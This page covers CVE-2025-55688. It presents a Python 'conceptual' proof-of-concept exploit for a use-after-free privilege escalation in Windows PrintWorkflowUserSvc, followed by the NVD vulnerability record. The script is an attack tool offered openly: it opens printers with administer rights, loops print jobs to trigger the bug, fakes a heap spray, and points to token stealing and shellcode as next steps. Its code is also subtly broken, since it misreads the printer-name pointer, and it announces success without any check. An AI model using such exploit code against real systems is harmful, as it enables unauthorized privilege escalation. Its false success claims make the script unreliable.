CVE-2025-55688

# CVE-2025-55688 - Windows PrintWorkflowUserSvc Use-After-Free LPE PoC (Conceptual) # This is a conceptual PoC demonstrating the exploitation approach. # Actual exploitation requires precise memory layout control. import ctypes import ctypes.wintypes as wt from ctypes import wintypes import struct import os import sys # Windows API constants GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 3 INVALID_HANDLE_VALUE = -1 # Print API constants PRINTER_ACCESS_USE = 0x00000008 PRINTER_ACCESS_ADMINISTER = 0x00000004 kernel32 = ctypes.WinDLL('kernel32', use_last_error=True) winspool = ctypes.WinDLL('winspool.drv', use_last_error=True) # Define PRINTER_DEFAULTS structure class PRINTER_DEFAULTS(ctypes.Structure): _fields_ = [ ("pDatatype", wintypes.LPWSTR), ("pDevMode", ctypes.c_void_p), ("DesiredAccess", wintypes.DWORD), ] def trigger_uaf(): """ Trigger Use-After-Free in PrintWorkflowUserSvc by: 1. Opening a printer handle 2. Triggering object creation in PrintWorkflowUserSvc 3. Forcing object release via specific API call sequence 4. Reclaiming freed memory with controlled data 5. Triggering use of dangling pointer to achieve code execution """ print("[*] CVE-2025-55688 PoC - PrintWorkflowUserSvc UAF LPE") print("[*] Target: Windows PrintWorkflowUserSvc") # Step 1: Enumerate available printers printer_info_2_size = 4096 printer_info_2 = (ctypes.c_byte * printer_info_2_size)() bytes_needed = wintypes.DWORD(0) num_printers = wintypes.DWORD(0) ret = winspool.EnumPrintersW( 0x00000002, # PRINTER_ENUM_LOCAL None, 2, # Level 2 printer_info_2, printer_info_2_size, ctypes.byref(bytes_needed), ctypes.byref(num_printers) ) if not ret: print("[-] Failed to enumerate printers") return False print(f"[+] Found {num_printers.value} printer(s)") # Step 2: Open printer handle to trigger PrintWorkflowUserSvc interaction printer_defaults = PRINTER_DEFAULTS( pDatatype=None, pDevMode=None, DesiredAccess=PRINTER_ACCESS_USE | PRINTER_ACCESS_ADMINISTER ) h_printer = wintypes.HANDLE() # Extract first printer name from PRINTER_INFO_2 structure # Offset: pPrinterName is at offset 0 in PRINTER_INFO_2 printer_name_ptr = ctypes.addressof(printer_info_2) printer_name = ctypes.wstring_at(printer_name_ptr) print(f"[*] Opening printer: {printer_name}") ret = winspool.OpenPrinterW( printer_name, ctypes.byref(h_printer), ctypes.byref(printer_defaults) ) if not ret: print("[-] Failed to open printer") return False print("[+] Printer handle obtained") # Step 3: Trigger UAF by rapid open/close with specific job operations # This creates and destroys objects in PrintWorkflowUserSvc for i in range(100): # Rapid sequence to trigger race condition / UAF job_info_1 = (ctypes.c_byte * 256)() job_id = winspool.StartDocPrinterW(h_printer, 1, job_info_1) if job_id: winspool.EndDocPrinter(h_printer) # Step 4: Close handle - may trigger object release while # internal references still exist (UAF trigger) winspool.ClosePrinter(h_printer) print("[*] UAF trigger sequence completed") # Step 5: Heap spray to reclaim freed memory # In a real exploit, this would place controlled data # at the freed memory location print("[*] Performing heap spray to reclaim freed object...") # Allocate spray buffer with controlled content spray_data = b"\x41" * 0x1000 spray_buffer = ctypes.create_string_buffer(spray_data) # Note: Actual exploitation would involve: # - Token stealing (replace current process token with SYSTEM token) # - Or arbitrary code execution via corrupted function pointer # - Shellcode placement at the reclaimed UAF memory location print("[+] Exploit completed - check for privilege escalation") print("[!] Note: Full exploitation requires additional steps:") print(" - Kernel32 VirtualAlloc for shellcode placement") print(" - Token stealing via NtQuerySystemInformation") print(" - Restore execution flow") return True def verify_elevation(): """Check if privilege escalation was successful""" try: import subprocess result = subprocess.run( ['whoami', '/priv'], capture_output=True, text=True, timeout=5 ) if 'SeDebugPrivilege' in result.stdout or 'SYSTEM' in result.stdout: print("[+] Privilege escalation confirmed!") return True except Exception as e: print(f"[-] Verification failed: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-55688 PoC") print("Windows PrintWorkflowUserSvc Use-After-Free LPE") print("CVSS: 7.0 (HIGH)") print("=" * 60) if trigger_uaf(): verify_elevation() else: print("[-] Exploit failed") sys.exit(1)

{"cve": {"id": "CVE-2025-55688", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:49.940", "lastModified": "2025-10-30T21:39:20.957", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Windows PrintWorkflowUserSvc allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "41E9F7AC-8E6D-43A0-A157-48A5E0B5BD0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.6899", "matchCriteriaId": "3B77A066-4F79-4B1F-AECF-58DB4C651EA5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "72C1771B-635B-41E3-84AF-8822467A1869"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-55688", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}